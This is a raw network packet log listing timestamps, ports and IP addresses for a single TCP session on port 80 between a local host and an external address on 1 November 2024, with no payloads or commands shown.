Nov 1, 2024 05:52:31.843168974 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.843211889 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.843219042 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.843223095 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.843245983 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.843252897 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.843265057 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.843287945 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.843287945 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.843302011 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.843331099 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.843331099 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.843358994 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.843369961 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.843398094 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.961734056 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.961760044 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.961771965 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.961790085 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.961801052 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.961801052 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.961813927 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.961827993 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.961827993 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.961841106 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.961847067 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.961853981 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.961864948 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.961868048 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.961875916 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.961908102 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.999480963 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999492884 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999504089 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999531984 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.999568939 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.999680042 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999691963 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999701977 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999711990 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999720097 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.999738932 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.999747992 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999758959 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999763012 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.999771118 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999782085 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.999799013 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999799967 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.999811888 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999816895 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999821901 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999828100 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999833107 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999838114 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.999838114 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999851942 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999860048 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999876022 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999886990 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999895096 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.999897957 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999910116 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999926090 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.999934912 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999947071 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999957085 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.999958038 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999963999 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.999969959 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999980927 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999990940 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.999994993 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.000005960 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.000015974 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.000037909 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.000080109 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.000092030 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.000101089 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.000111103 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.000118971 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.000123024 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.000135899 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.000144958 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.000169039 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.000236988 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.000247955 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.000257969 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.000269890 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.000272989 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.000282049 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.000298977 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.000303030 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.000315905 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.000320911 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.000328064 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.000340939 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.000350952 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.000348091 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.000364065 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.000366926 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.000375986 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.000391006 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.000396013 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.000402927 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.000433922 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.084894896 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.084930897 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.084949017 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.084975004 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.084985971 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.084995985 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.085004091 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.085009098 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.085021973 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.085032940 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.085056067 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.085074902 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.085082054 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.085093021 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.085093975 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.085123062 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.118819952 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.118850946 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.118870974 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.118880987 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.118895054 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.118916035 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.118917942 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.118930101 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.118942022 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.118942022 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.118954897 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.118957043 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.118967056 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.118971109 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.118990898 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119000912 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119003057 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119021893 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119041920 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119050026 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119066000 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119081020 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119081974 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119095087 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119097948 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119107008 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119113922 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119127035 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119127989 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119143009 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119155884 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119174957 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119185925 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119204998 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119231939 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119240999 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119271040 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119277000 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119287014 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119299889 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119306087 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119327068 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119329929 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119335890 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119339943 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119359016 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119364023 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119374037 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119400978 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119414091 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119430065 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119440079 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119446993 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119451046 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119460106 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119473934 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119488001 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119545937 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119560957 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119571924 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119580984 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119596004 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119611025 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119613886 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119625092 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119636059 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119647980 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119673014 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119721889 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119733095 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119744062 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119755030 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119765997 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119784117 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119801998 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119831085 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119843006 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119853973 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119865894 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119867086 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119894981 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119895935 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119918108 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119926929 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119935036 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119940042 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.119957924 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119972944 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.119995117 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.120007038 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.120029926 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.120032072 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.120043993 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.120059967 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.120095968 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.120105028 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.120121002 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.120130062 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.120131016 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.120150089 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.120162964 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.120192051 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.120202065 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.120213032 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.120223999 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.120237112 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.120249987 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.120275974 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.120286942 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.120296955 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.120310068 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.120322943 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.122694969 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.122740984 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.122750998 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.122754097 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.122776031 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.122777939 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.122788906 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.122791052 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.122801065 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.122807026 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.122822046 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.122836113 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.208178997 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.208270073 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.208281040 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.208345890 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.208439112 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.208447933 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.208482027 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.208611965 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.208625078 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.208636045 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.208647966 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.208658934 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.208664894 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.208672047 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.208683968 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.208704948 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.208718061 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.208754063 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.208765030 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.208792925 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.208817959 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.242085934 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.242099047 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.242110014 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.242172003 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.242187977 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.242227077 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.242238045 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.242259979 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.242275000 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.242408991 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.242422104 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.242432117 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.242443085 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.242460966 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.242460966 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.242474079 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.242477894 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.242499113 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.242522955 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.242556095 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.242568016 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.242577076 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.242600918 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.242625952 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.242690086 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.242702007 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.242734909 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.242830992 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.242841959 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.242851019 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.242861032 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.242876053 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.242887020 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.242898941 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.242902040 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.242909908 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.242923975 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.242944956 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.243078947 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243091106 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243099928 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243109941 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243120909 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243125916 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.243138075 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.243165016 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.243204117 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243246078 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.243383884 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243395090 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243406057 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243416071 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243426085 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243432045 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.243448019 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.243460894 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.243519068 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243530989 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243541956 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243560076 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243562937 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.243571997 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243572950 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.243598938 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.243612051 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.243663073 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243674040 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243684053 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243695021 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243704081 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.243710995 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:32.243729115 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:32.243740082 CET	49760	80	192.168.2.4	185.215.113.206
